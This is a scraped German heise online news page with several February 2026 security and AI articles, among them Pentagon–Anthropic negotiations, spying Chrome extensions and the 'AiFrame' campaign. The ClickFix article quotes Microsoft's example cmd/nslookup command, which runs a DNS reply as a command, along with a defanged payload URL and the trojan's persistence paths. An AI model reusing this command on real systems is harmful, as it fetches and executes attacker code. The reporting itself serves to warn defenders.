Mögliche Auswirkungen betreffen unter anderem die globale Übersicht zur IT-Security-Lage. Neue Einträge in den Known Exploited Vulnerabilities-Katalog (KEV) gibt es etwa seit Freitag nicht. Es kann natürlich sein, dass seitdem keine neu angegriffenen Sicherheitslücken bekannt wurden. Der Shutdown könnte jedoch dafür sorgen, dass schlicht keine ausreichenden Kapazitäten für solche Warnungen bereitstehen. Gottumukkala deutete solche Folgen bereits an: „Dies würde die Bereitstellung von Cybersicherheitsdiensten und -kapazitäten für Bundesbehörden verzögern und erhebliche Lücken in den Sicherheitsprogrammen hinterlassen.“

Die CISA hatte bereits kurz nach dem Amtsantritt der Trump-Regierung im vergangenen Jahr mit Chaos zu kämpfen. Mehr als tausend Mitarbeiter wurden dort gekündigt. Dabei hatte die Behörde den Überblick verloren, wer alles gefeuert wurde, und forderte Mitte März gefeuerte Mitarbeiter dazu auf, sich per E-Mail zu melden.

(dmk)

Top 10: Balkonkraftwerk mit Speicher im Test

Top 10: Die beste Gaming-Maus im Test

Top 10: Das beste Mittelklasse-Smartphone

KI-Technik: Pentagon droht Anthropic mit weitreichenden Sanktionen

2026-02-17T07:41:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Das Pentagon und Anthropic verhandeln gegenwärtig, wie Claude beim US-Militär eingesetzt werden kann. Wegen der roten Linien der KI-Firma droht das Pentagon.

US-Verteidigungsminister Pete Hegseth

(Bild: Zhongxinyashi_Photo/Shutterstock.com)

07:41 Uhr

Lesezeit: 2 Min.

Von

Martin Holland

Das US-Verteidigungsministerium droht Anthropic damit, das KI-Unternehmen als „Risiko für die Lieferketten“ einzustufen und damit allen Firmen, die mit dem Pentagon kooperieren, die Nutzung von Anthropics Technik zu untersagen. Eine solche Sanktion ist normalerweise ausländischen Gegnern vorbehalten. Das berichtet das US-Magazin Axios unter Berufung auf eine hochrangige Quelle im Pentagon. Die Drohung soll wohl den Druck auf Anthropic in Verhandlungen über die Nutzung der KI-Technik Claude erhöhen. Die KI-Firma will es dem Verteidigungsministerium angeblich nicht gestatten, die KI-Technik für die Massenüberwachung der US-Bevölkerung zu nutzen. Zudem dürften damit keine Waffen entwickelt werden, die ohne menschliche Beteiligung feuern. Das Pentagon halte das für „übermäßig restriktiv“.

Claude ist der Konkurrenz weit voraus

Laut Axios ist Claude von Anthropic gegenwärtig das einzige KI-Modell, das in den geheimen und abgeschirmten Systemen des Pentagon benutzt werden darf. Die Angestellten dort würden die Leistungsfähigkeit der Technik „in höchsten Tönen“ loben. Erst am Wochenende hat das Wall Street Journal berichtet, dass Claude sogar bei der Entführung des venezolanischen Präsidenten Nicolás Maduro eine Rolle gespielt hat, ohne dazu aber Details zu nennen. Claude sei den Modellen der Konkurrenz weit voraus, schreibt Axios noch. Anthropic sieht sich deshalb offenbar in einer guten Verhandlungsposition, wenn es darum geht, wie das Militär insgesamt die KI benutzen kann. Anthropics CEO Dario Amodei nehme die Angelegenheit „sehr ernst“, sei aber ein Pragmatiker.

Videos by heise

Anthropic ist eines von vier KI-Unternehmen, denen das Pentagon im Sommer jeweils bis zu 200 Millionen US-Dollar für die Entwicklung agentischer KI-Arbeitsabläufe zugesagt hat. Diesen Vertrag drohe das US-Verteidigungsministerium nun zu kippen, schreibt Axios. Das wäre für Anthropic deutlich weniger problematisch als die angedrohte Sanktionierung. Sollte das Pentagon Unternehmen tatsächlich vor die Wahl stellen, entweder mit dem US-Militär oder mit Anthropic Geschäfte machen zu können, wäre die Entscheidung wahrscheinlich nicht schwer. Gleichzeitig gesteht die Quelle von Axios aber ein, dass es enorm mühsam sein würde, Anthropics Technik aus den Systemen zu entfernen: „Wir werden sie dafür bezahlen lassen, dass sie uns so unter Druck setzen“.

Lesen Sie auch

KI-Sicherheitsexperte kündigt bei Anthropic und sagt: Die Welt ist in Gefahr

Top 10: Wärmebildkamera für das Handy im Test

Top 10: Die beste Gaming-Tastatur im Test

Top 10: Das beste E-Bike für Damen & Herren im Test

Sicherheitsbedenken: EU-Parlament deaktiviert KI-Tools auf Diensthandys

2026-02-17T06:49:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

EU-Abgeordnete und ihre Angestellte können auf dienstlichen Smartphones und Tablets keine KI-Funktionen mehr nutzen. Man wisse zu wenig zur Datensicherheit.

(Bild: Botond Horvath/Shutterstock.com)

06:49 Uhr

Lesezeit: 2 Min.

Von

Martin Holland

Das Europäische Parlament hat wegen Sicherheitsbedenken KI-Funktionen auf dienstlichen Smartphones und Tablets der Abgeordneten und ihrer Angestellten deaktiviert. Das berichtet das Politikmagazin Politico unter Berufung auf eine interne E-Mail, in der der Schritt bekannt gemacht wurde. Der Schritt sei erfolgt, nachdem die IT-Abteilung eingestanden habe, dass sie die Sicherheit der Daten auf den Geräten nicht garantieren könnte, wenn die KI-Werkzeuge dort aktiv seien. Verwiesen worden sei unter anderem darauf, dass einige der KI-Funktionen auf Cloud-Dienste zurückgreifen würden: Die Daten müssten also die Geräte verlassen. Um welche Werkzeuge es konkret geht, hat das Magazin nicht erfahren.

Empfehlung auch für Privatgeräte

Die Funktionen würden weiterentwickelt und auf mehr Geräten verfügbar gemacht, zitiert Politico aus der Begründung: „Der volle Umfang der Daten, die an Dienstleister weitergegeben werden, wird derzeit noch überprüft.“ Bis das umfassend geklärt sei, sei es sicherer, die Funktionen deaktiviert zu lassen. Das Magazin zitiert einen anonymen EU-Angestellten mit der Erklärung, dass es um Funktionen gehe, die das Schreiben und Zusammenfassen von Texten erledigen, um virtuelle Assistenten und die Zusammenfassung von Internetseiten. Die Parlamentsverwaltung selbst habe den Bericht nicht bestätigt oder dementiert und auch keine konkreten KI-Werkzeuge genannt. Apps, die Kalender, E-Mails, Dokumente und andere alltägliche Werkzeuge seien nicht betroffen, heißt es noch in der E-Mail.

Videos by heise

Die Maßnahme des EU-Parlaments macht einmal mehr deutlich, was für Probleme die rasche Weiterentwicklung von KI-Funktionen im Arbeitsalltag mit sich bringt. In der internen E-Mail wird laut Politico noch darauf gedrängt, „ähnliche Vorsichtsmaßnahmen“ auf privaten Geräten vorzunehmen. Es sollte vermieden werden, dienstliche E-Mails, Dokumente oder andere interne Informationen an KI-Werkzeuge zu übermitteln, etwa um deren Inhalte zu analysieren. Das deutet an, dass jetzt die Gefahr besteht, dass Abgeordnete oder ihre Angestellten einfach auf private Geräte wechseln, wenn sie auf bestimmte KI-Funktionen nicht verzichten wollen. Solche „Schatten-KI“ ist in Unternehmen längst ein wachsendes Problem.

Lesen Sie auch

Angestellte nutzen mit KI gesparte Zeit, um KI-Ergebnisse zu korrigieren

Top 10: Wärmebildkamera für das Handy im Test

Top 10: Die beste Gaming-Tastatur im Test

Top 10: Das beste E-Bike für Damen & Herren im Test

Populäre Chrome-Erweiterungen spähen Nutzer aus

2026-02-16T13:29:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

IT-Forscher haben 32.000 Chrome-Erweiterungen untersucht und dabei 287 teils populäre Apps beim Ausspähen der User erwischt.

(Bild: Elnur/Shutterstock.com)

16.02.2026, 13:29 Uhr

Lesezeit: 4 Min.

Security

Von

Dirk Knop

Eine IT-Forschergemeinschaft mit dem Namen „Q Continuum“ hat automatisiert zigtausende der beliebtesten Chrome-Erweiterungen untersucht. Knapp 300 davon, teils mit je vielen Millionen Installationen, liefern den Browserverlauf von Nutzerinnen und Nutzern an ihre Hersteller aus. Den Usern ist meistens wohl nicht klar, dass sie ausspioniert werden.

Die Analyse und ihre Ergebnisse stellt „Q Continuum“ in einem Github-Projekt bereit. Beim Versuchsaufbau haben sie Chrome in einen Docker-Container verfrachtet und den Traffic durch einen Man-in-the-Middle-Proxy geschleust. Dabei beobachteten sie die ausgehenden Anfragen unter dem Aspekt, wie sie mit der Länge der URLs korrelieren, die dem Chrome-Browser vorgesetzt wurden. Dabei haben die IT-Forscher synthetische Browser-Daten eingesetzt, konkret konsistent geformte Anfragen an google.com, die jedoch nie den Docker-Container verlassen. Dann untersucht ein Skript die ausgehenden Daten darauf hin, wie umfangreich der abgehende Traffic ist.

Die Idee dahinter: Wenn eine Erweiterung lediglich den Seitentitel liest oder eigenes CSS in die Seite einbaut, sollte der Netzwerk-Fußabdruck niedrig bleiben, egal, wie lang die besuchte URL ist. Wenn der abgehende Traffic jedoch linear mit der URL-Länge ansteigt, liefert die Erweiterung mit hoher Wahrscheinlichkeit die URL oder die gesamte HTTP-Anfrage an einen Server ins Internet aus. Damit konnten sie Erweiterungen eingrenzen, die sehr wahrscheinlich sensible Daten ausspähen.

Hunderte teils populäre Erweiterungen spionieren

Insgesamt haben die Analysten die 32.000 populärsten Chrome-Erweiterungen von den 240.000 im Chrome-Webstore verfügbaren untersucht. Dabei haben sie 287 teils sehr populäre Kandidaten aufgespürt, die Daten exfiltrieren. Insgesamt 37,4 Millionen User haben diese Plug-ins in ihren Webbrowser installiert und werden davon ausgeforscht.

Diese Daten können zur Profilbildung und gezielter Werbung genutzt werden, aber auch zu Wirtschaftsspionage oder dem Abziehen von Zugangsdaten, erklärt das „Q Continuum“ die potenziellen Gefahren. Andererseits ist nicht jede Erweiterung automatisch auch mit bösartiger Absicht unterwegs. Auf Platz 1 findet sich etwa „Avast Online Security & Privacy“ mit sechs Millionen Installationen, ein Plug-in zur Reputationsprüfung von Webseiten. Offenbar nutzt es keine lokale Datenbank, sondern sendet die URLs zur Prüfung an die Herstellerserver. Allerdings hat gerade Avast da eine wenig rühmliche Vergangenheit: Wegen Datenweitergabe musste das Unternehmen 2024 16,5 Millionen US-Dollar Strafe in den USA zahlen, da die gesammelten Daten von mehr als 100 Millionen Nutzern über die Tochterfirma Jumpshot verkauft wurden. An zweiter Stelle folgen mit je 3 Millionen Nutzern die Erweiterungen „Ad Blocker: Stands AdBlocker“ sowie „Monica: ChatGPT AI Assistant | DeepSeek, GPT-4o, Claude 3.5, o1 &More“.

Videos by heise

Die Webseite hält eine Liste der beim Ausspähen beobachteten Chrome-Erweiterungen vor. Detaillierte Einblicke gibt das rund 260-seitige PDF, wovon die letzten etwa 150 Seiten jedoch lediglich Details zu den betroffenen Erweiterungen wie IDs, Namen, Nutzerzahlen und Ähnliches umfassen. Wer nicht möchte, dass die eigenen Browser-Erweiterungen den eigenen Browser-Verlauf an die Anbieter senden, sollte die Erweiterungsliste prüfen und gegebenenfalls die Add-ons deinstallieren.

Browser-Erweiterungen sind oft nützliche Helferlein, sie können jedoch auch Datenschleudern sein, die die Privatsphäre verletzen. Einige Akteure nutzen das zur eigenen Bereicherung aus, indem sie die gewonnenen Daten monetarisieren. Das Phänomen selbst ist bereits älter. Etwa 2019 hat der IT-Sicherheitsforscher Sam Jadali 200 Chrome- und Firefox-Erweiterungen angeschaut und diese ebenfalls beim Datensammeln erwischt. Auf diese übertragenen Daten hatten zudem Dritte Zugriff. Bei dieser Späh-Masche mit dem Namen „DataSpii“ waren Surf-Daten von 4,1 Millionen Menschen betroffen.

(dmk)

Top 10: Wärmebildkamera für das Handy im Test

Top 10: Die beste Gaming-Tastatur im Test

Top 10: Das beste E-Bike für Damen & Herren im Test

ClickFix-Attacken nutzen Schadcode in DNS-Antworten

2026-02-16T11:40:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Microsoft hat eine neue Variante der Malware-Verteilung in ClickFix-Angriffen entdeckt. Die Angreifer liefern Schadcode mittels DNS aus.

(Bild: Skorzewiak/Shutterstock.com)

16.02.2026, 11:40 Uhr

Lesezeit: 2 Min.

Security

Von

Dirk Knop

Bei ClickFix-Angriffen verleiten Cyberkriminelle ihre Opfer dazu, einen Befehl auf dem Rechner auszuführen, der angeblich ein Problem lösen soll. Tatsächlich installiert der jedoch Malware aus dem Internet. Eine neue Variante setzt dabei auf DNS-Antworten zur Verteilung der Schadsoftware.

Das hat Microsofts Threat-Intelligence-Team auf Linkedin bekannt gegeben. Um der Erkennung zu entgehen, setzen die Angreifer nun darauf, einen vermeintlich harmlosen „nslookup“-Befehl abzusetzen. Microsoft zeigt den Beispielaufruf von cmd /c ”nslookup example.com 84.xx.yy.zz | findstr ”^Name:” | for /f ”tokens=1,* delims=:” %a in (’more’) do @echo %b” cmd && exit\1 – dieser Befehl wird offenbar auch verschleiert mit eingeworfenen Sonderzeichen („^") überliefert.

Microsoft: DNS-Antwort enthält Schadcode

Dieser Befehl fragt beim Zielserver mit der hier verschleierten IP-Adresse nach einer Auflösung für den Domain-Namen „example.com“. Die „Name:“-Antwort verarbeitet der Befehl dann, um den Schadcode der nächsten Infektionsstufe zu empfangen und auszuführen, erklären die IT-Forscher aus dem Microsoft-Defender-Team. Dieser Angriff umgeht klassischen Malware-Schutz, zudem sieht die serverseitige DNS-Antwort für Virenschutz in der Regel unverdächtig aus – anders als üblicherweise genauer untersuchter Netzwerkverkehr etwa von Webservern.

Der Schadcode aus der DNS-Antwort lädt dann eine .zip-Datei von „hxxp://azwsappdev[.]com/“ herunter, aus dem ein Portable-Python-Bundle sowie bösartiger Python-Code extrahiert werden. Der ausgeführte Python-Code untersucht die vorgefundene Windows-Umgebung und lädt schließlich die finale Infektionsstufe nach, die als „%APPDATA%\WPy64-31401\python\script.vbs“ im Dateisystem landet und mittels „%STARTUP%/MonitoringService.lnk“ im Autostart eingerichtet wird. Es handelt sich dabei um einen Fernzugriff-Trojaner namens „ModeloRAT“.

Videos by heise

Bei ClickFix handelt es sich um Social-Engineering-Angriffe, die in der Regel über Phishing, Malvertising oder Drive-by-Köder (etwa gefälschte Captcha- oder „Beheben Sie dieses Problem”-Dialoge) eingesetzt wird, um Benutzer dazu zu verleiten, einen Befehl zu kopieren, einzufügen und auszuführen, fasst Microsoft diese Attacken-Variante zusammen. Gegen Drahtzieher solcher Angriffe gehen auch internationale Strafverfolger immer wieder vor. So konnten im Rahmen der „Operation Endgame 2.0“ etwa hunderte Server außer Gefecht gesetzt werden, die unter anderem ebenfalls für ClickFix-Attacken genutzt wurden.

(dmk)

Top 10: Wärmebildkamera für das Handy im Test

Top 10: Die beste Gaming-Tastatur im Test

Top 10: Das beste E-Bike für Damen & Herren im Test

Falsche KI-Erweiterungen für Chrome gefährden 260.000 Nutzer

2026-02-16T09:51:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

IT-Forscher haben zig Chrome-Erweiterungen auf eine Kampagne zurückgeführt, die Informationen von 260.000 Nutzern gefährdet.

(Bild: Stokkete/Shutterstock.com)

16.02.2026, 09:51 Uhr

Lesezeit: 4 Min.

Security

Von

Dirk Knop

Zig Chrome-Erweiterungen, die von mehr als 260.000 Nutzern und Nutzerinnen installiert wurden, sind Teil einer Kampagne, die es auf Daten und Informationen der Opfer abgesehen hat. Die kriminellen Hinterleute umgehen dazu auch Sicherheitsvorkehrungen des Chrome-Stores.

IT-Sicherheitsforscher von LayerX haben die „AiFrame“ genannte Erweiterungskampagne analysiert und die Ergebnisse in einem aktuellen Blog-Beitrag veröffentlicht. Die Täter bieten vermeintliche KI-Assistenten zum Zusammenfassen, Chatten, Schreiben oder als Gmail-Assistent in Form von Erweiterungen für den Webbrowser Chrome an. Die Erweiterungen wirken oberflächlich legitim, fußen aber auf einer gefährlichen Architektur. Viele Funktionen der Erweiterungen haben die Drahtzieher nicht lokal implementiert, sondern betten dazu serverseitige Schnittstellen aus dem Internet ein und funktionieren so als privilegierte Proxys, die der Infrastruktur aus dem Netz Zugriff auf sensible Browser-Fähigkeiten gewähren.

30 Erweiterungen mit 260.000 Installationen

Die Analysten haben über 30 unterschiedliche Chrome-Erweiterungen, die mit unterschiedlichen IDs und Namen veröffentlicht wurden, aber derselben darunterliegenden Codebasis, Berechtigungen und Backend-Infrastruktur entdeckt. Sie wurden zusammen mehr als 260.000 Mal installiert – einige davon waren zeitweise im Chrome Web Store als empfohlen (Featured) markiert, was ihre vermeintliche Legitimität erhöhte. Als Köder dienen bekannte Namen wie Claude, ChatGPT, Gemini sowie Grok, aber auch als allgemeines „AI Gmail“-Tool werden die bösartigen Erweiterungen beworben und verteilt.

Die Analyse schaut detaillierter auf die Erweiterungen. Trotz unterschiedlicher Namen und IDs teilen sie sich dieselbe interne Struktur, dieselbe JavaScript-Logik, Berechtigungen sowie Backend-Infrastruktur. Es handelt sich daher um eine koordinierte Operation anstatt um eigenständige Werkzeuge. Es handelt sich den IT-Forschern zufolge um sogenanntes „Extension Spraying“, bei dem die Angreifer Auswirkungen von entfernten Erweiterungen und reputationsbasierten Abwehrmechanismen umgehen, indem sie einfach unter neuem Namen weitere Erweiterungen in den Store einstellen.

Videos by heise

Kritisch ist, dass ein signifikanter Anteil der Funktionen der Erweiterungen durch im Netz gehostete Komponenten geliefert wird. Dadurch bestimmt sich ihr Laufzeitverhalten durch serverseitige Änderungen und nicht durch zur Installationszeit im Chrome-Web-Store untersuchten Code. Das ermöglicht somit die Umgehung von einem Teil von Googles Sicherheitsmechanismen. Die Kernkomponente wird dabei als Iframe vom Server eingebunden, der in Vollbildgröße dargestellt wird. Er überlagert die aktuelle Webseite und stellt visuell das Nutzerinterface der Erweiterung dar.

Spionagefunktionen

Auf Geheiß des serverseitigen Iframes analysiert die Erweiterung den aktiven Browser-Tab und extrahiert dessen Inhalt, den sie an den Server schickt. Das können auch sensible Informationen von Seiten sein, in denen Opfer gerade angemeldet sind. Das Iframe kann die Erweiterung auch anweisen, die Stimmenerkennung der Web-Speech-API zu starten, woraufhin diese dann ein Transkript an die entfernte Seite schickt – ein leicht auswertbarer Mitschnitt der Kommunikation ist möglich; jedoch begrenzen Browser-Berechtigungen in einigen Fällen den möglichen Missbrauch, erklären die IT-Forscher.

Der Command-and-Control-Server liegt auf der Haupt-Domain tapnetic[.]pro, wobei die einzelnen Erweiterungen unterschiedliche Subdomains davon aufrufen. Die Seite scheint auf den ersten Blick legitim, allerdings gibt es dort keine Funktionen, Downloads oder mögliche Nutzerinteraktionen. Es gibt dort auch kein klar benanntes Produkt oder auch keine Dienstleistung, somit handelt es sich offenbar um eine Tarnseite. Die Kampagne läuft bereits seit Längerem. Schon vor rund einem Jahr haben die Analysten eine Erweiterung aus dieser Kampagne untersucht, sie wurde aus dem Chrome-Web-Store am 6. Februar 2025 entfernt. Zwei Wochen später wurde sie unter neuer Erweiterungs-ID neu eingestellt und veröffentlicht.

Am Ende der Analyse liefern die IT-Forscher eine Auflistung von Indizien für Infektionen (Indicators of Compromise, IOCs). Dort benennen sie etwa IDs, Namen und Anzahl an aktiven Installationen der bislang entdeckten, schädlichen „AiFrame“-Erweiterungen.

Browser-Erweiterungen stellen ein beliebtes Einfallstor für Cyberkriminelle dar. Immer wieder fallen sie für diverse Webbrowser negativ auf. Anfang vergangenen Jahres konnten sich etwa Täter Zugriff auf Konten von Entwicklern diverser Chrome-Extensions verschaffen und den Code durch schädliche Fassungen der Erweiterungen ersetzen.

(dmk)

Top 10: Wärmebildkamera für das Handy im Test

Top 10: Die beste Gaming-Tastatur im Test

Top 10: Das beste E-Bike für Damen & Herren im Test

Anonymisierendes Linux: Notfallupdate Tails 7.4.2 schließt Kernel-Lücke

2026-02-16T08:03:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Der Kernel älterer Tails-Versionen enthält Sicherheitslücken. Version 7.4.2 der anonymisierenden Linux-Distribution schließt sie.

(Bild: heise medien)

16.02.2026, 08:03 Uhr

Lesezeit: 2 Min.

Security

Von

Dirk Knop

Die Entwickler der anonymisierenden Linux-Distribution Tails haben Version 7.4.2 herausgegeben, die sie selbst als Notfallupdate bezeichnen. Darin schließen sie mehrere Sicherheitslücken im Linux-Kernel.

In der Versionsankündigung von Tails 7.4.2 erklären sie, dass diese Version ein „Notfall-Release zum Beheben kritischer Sicherheitsschwachstellen im Linux-Kernel“ darstellt. Die Sicherheitsmitteilung DSA 6126-1 zum aktualisierten Debian-Kernel 6.12.69-1 umfasst mehr als hundert Schwachstellen; nicht jede davon ist jedoch schwerwiegend. Die Folgen wären jedoch fatal: „Wenn Angreifer in der Lage sind, andere, bislang unbekannte Schwachstellen in einer in Tails enthaltenen Software zu missbrauchen, können sie durch DSA 6126-1 die volle Kontrolle über dein Tails erlangen und dich deanonymisieren“, führen die Tails-Programmierer aus.

Schwachstellen schwer auszunutzen

Jedoch seien Angriffe sehr unwahrscheinlich, heben sie hervor. Sie könnten jedoch von „starken Angreifern wie Regierungen oder Hacking-Firmen durchgeführt werden“. Die Tails-Maintainer haben keine Kenntnis darüber, dass derartige Attacken in der Praxis ausgeführt wurden.

Die neue Tails-Fassung hat zudem den Mail-Client Thunderbird in Version 140.7.1 an Bord. Die Programmierer haben Probleme etwa beim Öffnen der WLAN-Einstellungen aus dem Tor-Verbindungsassistenten heraus gelöst. Das erneute Öffnen von Electrum soll nun wieder klappen, wenn es zuvor nicht sauber geschlossen wurde. Zudem haben sie korrigiert, dass die ausgewählte und auf USB-Stick gespeicherte Sprache im Willkommen-Dialog angewendet wird.

Videos by heise

Wie üblich steht die aktuelle Tails-Version als Abbild zum Verfrachten auf USB-Sticks und als ISO-Image für VMs oder zum Brennen auf DVDs zum Herunterladen auf der Tor-Webseite bereit. Die Version für den USB-Stick können Interessierte unterwegs dabeihaben, um damit auf fremden Rechnern eine gesicherte und geschützte Umgebung zum anonymen Surfen im Netz zu starten. Damit lassen sich etwa Zensurmaßnahmen umgehen.

Vor zwei Wochen hatten die Tails-Maintainer die Fassung 7.4.1 veröffentlicht. Auch dabei handelte es sich schon um ein Notfallupdate, das insbesondere die mitgelieferte OpenSSL-Bibliothek auf den Stand 3.5.4 gebracht hat. Die korrigiert Fehler, die Angreifern das Einschleusen von Schadcode und in der Folge im Tor-Kontext die Deanonymisierung von Nutzern ermöglichen, erklärten die Entwickler dazu.

Siehe auch:

Tails: Download schnell und sicher von heise.de

(dmk)

heise online Top-News

Best Western Hotels warnt vor Phishing-Attacken

Echte Daten in Phishing-Nachrichten

Head of Firefox: Kontrolle über KI und ein anderes Web sind möglich

brillen.de: Kundendaten nach erneutem Angriff im Darknet aufgetaucht

brillen.de-Datenleck: Betroffene Informationen

Windows-Update-Vorschau: Neue Secure-Boot-Zertifikate, App-Backups und mehr

Update-Bestandteile auch für Unternehmenskunden

Mehr Werbung

Zentrale Datenspeicherung: Streit um 73 Millionen Versichertendaten geht weiter

Pseudonymisierung nicht ausreichend

KI-Technik: Pentagon stellt Anthropic ein Ultimatum und droht mit Kriegsgesetz

Gesetz für die Produktion von Kriegsgütern gedacht

EU streicht Lieferkettengesetz massiv zusammen

Pragmatismus statt Paragrafendschungel

Microsoft-Anleitung für Secure-Boot-Zertifikate von Windows Servern

Ablaufende Zertifikate: Manuelle Eingriffe nötig

Linux-Distribution KaOS wirft KDE Plasma raus

KaOS bleibt Qt-basiert

Microsoft beendet Unterstützung für Windows-Versionen aus 2016

ESU: Preise teils noch nicht bekannt

Außergewöhnliche Supernova soll bei der Auflösung der „Hubble-Spannung“ helfen

Extremer Glücksfall für die Kosmologie

Empfohlener redaktioneller Inhalt

Microsoft Edge: Tumult um VPN-Funktion

Tunnel für Klartext-Verbindungen im Browser

Microsofts Angebot

Übertriebene Aufregung

Aktienkurs halbiert: Immer mehr Interesse an einer PayPal-Übernahme

PayPal in der „Sackgasse“

Claude Code für Modernisierung von COBOL-Systemen: Schwarzer Tag für IBM-Aktie

Keine „Heerscharen“ von Beratern mehr nötig

Linux: Torvalds startet Entwicklung von Kernel 7.0

Neue Linux-Kernel-Hauptversion

Unscheinbarer Linux-Kernel 6.19

Amoklauf in Kanada: OpenAI hatte Hinweise auf mögliche Gefahr durch Täterin

Bluttat erschüttert kleine Gemeinde

Neues Outlook: Unternehmen erhalten ein weiteres Jahr Gnadenfrist

„Neues Outlook“: Aktualisierter Zeitplan

CarGurus: Have I Been Pwned integriert Daten von 12,5 Millionen Kunden

CarGurus: Umfangreicher Datensatz kopiert